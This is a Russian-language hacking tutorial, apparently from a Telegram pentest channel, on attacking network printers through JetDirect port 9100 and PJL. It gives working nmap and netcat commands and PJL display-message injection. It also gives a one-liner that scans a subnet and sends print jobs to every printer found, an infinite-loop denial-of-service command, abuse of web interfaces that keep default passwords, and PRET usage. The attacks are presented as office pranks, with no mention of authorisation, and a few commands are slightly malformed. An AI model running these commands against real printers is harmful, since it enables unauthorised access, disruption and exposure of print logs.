Взлом принтеров | Уязвимости принтеров и их эксплуатация

Взлом принтеров | Уязвимости принтеров и их эксплуатация

TestLand

Представьте, что вы сидите в офисе, пьёте кофе, наблюдаете, что происходит за окном и вдруг слышите шум печати за спиной. Поворачиваетесь к рабочему столу и видите, как из принтера торчит бумага с текстом "хватит кофе пить, иди работай!". Страшно, да? На самом деле такое вполне может быть и сегодня мы с вами разберём уязвимости устройств для печати, а также их эксплуатацию.


Итак, здесь у нас идёт речь про уязвимости принтеров, которые позволяют злоумышленнику удалённо выполнять печать, выводить текст на экран, да и в целом иметь контроль над принтером.








PJL, PCL и JetDirect:

Компания HP разработала язык PJL для расширенного управления принтерами.
Позже был разработан PCL - улучшенный язык.

PJL пошёл своей дорогой и его используют различные компании.

Также HP разработали JetDirect, что позволяет производить печать удалённо, по сети.


Именно с помощью команд PJL и уязвимостей принтеров, которые позволяют подключаться к ним благодаря JetDirect - имеется возможность удалённо управлять машиной для печати.




Взлом:

По умолчанию сервис JetDirect работает на порту 9100.

С помощью сканера NMap мы можем просканировать целевой принтер и проверить, какие службы у него запущены:

nmap <IP>


Здесь же мы пробуем определить, работает ли именно порт 9100 на целевом устройстве:

nmap -p 9100 <IP>


Теперь мы можем воспользоваться утилитой NetCat для подключения:

nc -v <IP> 9100

Исходя из справки по утилите можно понять, что параметр -v предназначен для отображения подробностей (режим verbose):


Для получения справки используется такая команда:

nc -h


После подключения к принтеру можно вывести текст на экран приветствия:

@PJL STMSG DISPLAY="HACKED"


В итоге на принтере отображается введённый нами текст:


Более подробно ознакомиться с языком PJL можно с помощью этого мануала от HP.


Аналогичного эффекта можно добиться, используя оператор RDYMSG:

@PJL RDYMSG DISPLAY="HACKED"


То же самое можно проделать, выполнив печать из файла:

echo '"@PJL STMSG DISPLAY="HACKED"' >> PJL.txt
сat PJL.txt | nc –v <IP>


Результат будет одним и тем же, а вот способы разные и можно использовать любой по вкусу.


Тут есть интересный момент:

поскольку порт 9100 де-факто зарезервирован для JetDirect, то он прослушивается на получение как команд PJL, так и собственно заданий печати. Другими словами, мы можем послать туда любую строку, которая не относится к PJL.

Для проверки создадим текстовый файл printme.txt, не содержащий команд. Это просто строки с латинскими буквами. Отправляем его на принтер той же командой:

cat printme.txt | nc –v <IP>

Спустя пару секунд устройство выплюнет распечатанный лист.

В итоге мы имеем возможность печатать документ при помощи JetDirect, просто отправив текст на TCP-порт 9100 из файла или консоли.

Однако это ещё зависит от модели устройства печати, ибо результат может быть не удовлетворительным или отличающимся от того, который мы получили выше.


Массовая атака:

Представьте, что в офисе подключено к локальной сети сразу несколько принтеров и вы хотите одной командой сразу запустить на каждом из их печать.

Это возможно сделать такой командой (с заранее заготовленным файлом):

for ip in $(nmap -p 9100 <IP>/24 --open |  grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}");do cat JPL | nc -v $ip 9100; done


Сначала NMap сканирует всю сеть, далее grep собирает лишь IP-адреса из результатов сканирования NMap, а далее происходит подключение через NetCat и выполнение команды печати из файла:


Итог:




DoS-атака:

Для этого (как вариант) нам необходимо создать бесконечный цикл. На bash он выглядит как-то так:

while [ 0 -eq 0 ]


Модифицируем команду и отправляем запрос на принтер:

while [ 0 -eq 0 ]; do echo "HACKED" | nc –v <IP>; done




Web Interface:

Помимо команд можно использовать веб-интерфейс подключённого к сети принтера.

Дело в том, что многие принтеры имеют веб-интерфейс для управления, и об этом даже могут не знать владельцы.

Выглядит это примерно так:


С помощью веб-интерфейса в зависимости от модели принтера можно выполнять разные действия, например менять настройки или производить печать.

Также можно прочесть логи использования принтера, то есть увидеть, кто и что печатал.


А на некоторых принтерах даже имеются подсказки, что на устройстве установлен дефолтный пароль:


И этим может воспользоваться хакер.




Сканирование NMap:

По умолчанию порт 9100 при использовании параметра -sV пропускается, т.к. JetDirect печатает всё, что приходит на этот порт.

В таком случае, при сканировании принтер мог печатать строку вида GET / HTTP. Нужно принять это во внимание и не использовать -sV при сканировании сетевого принтера во избежание непредусмотренной печати.




Автоматизация атаки:

Для автоматизации атак были разработаны специальные утилиты и одна из самых популярных - PRET.

Её установка в Kali Linux происходит с помощью данной команды:

git clone https://github.com/RUB-NDS/PRET


Далее можно посмотреть содержимое репозитория:

cd PRET
ls


для цветного вывода и поддержки SNMP необходимо установить сторонние модули:

pip install colorama pysnmp


Пример использования:

./pret.py laserjet.lan ps
./pret.py /dev/usb/lp0 pjl


Данная утилита способна производить сканирование устройств для выявления сетевых принтеров. Для этого нужно запустить скрипт без аргументов:

./pret.py

address          device                       uptime    status                 
───────────────────────────────────────────────────────────────────────────────
192.168.1.5      hp LaserJet 4250             10:21:49   Ready                 
192.168.1.11     HP LaserJet M3027 MFP        13 days    Paper jam             
192.168.1.27     Lexmark X792                 153 days   Ready                 
192.168.1.28     Brother MFC-7860DW           16:31:17   Sleep mode       




Заключение:

Отлично, мы разобрались с уязвимостями и посмотрели их на практике, а значит данная статья подошла к концу.

Чтобы получать больше интересной и полезной информации по информационной безопасности - подпишитесь на канал. Будем очень благодарны и дарить вам годную инфу.




YouTube:

overbafer1

IGOR OVER


Telegram:

▶ Личный Блог: overbafer1

▶ Информационная Безопасность: LamerLand

▶ Пентест: TestLand

▶ Криптовалюта: CryptOVER

▶ Чат: OVER-CHAT

▶ эксклюзивный бот для разведки и поиска информации в сети: https://overbafer1.ru/


VK:

overpublic1


Мерч:

Магазин

Report Page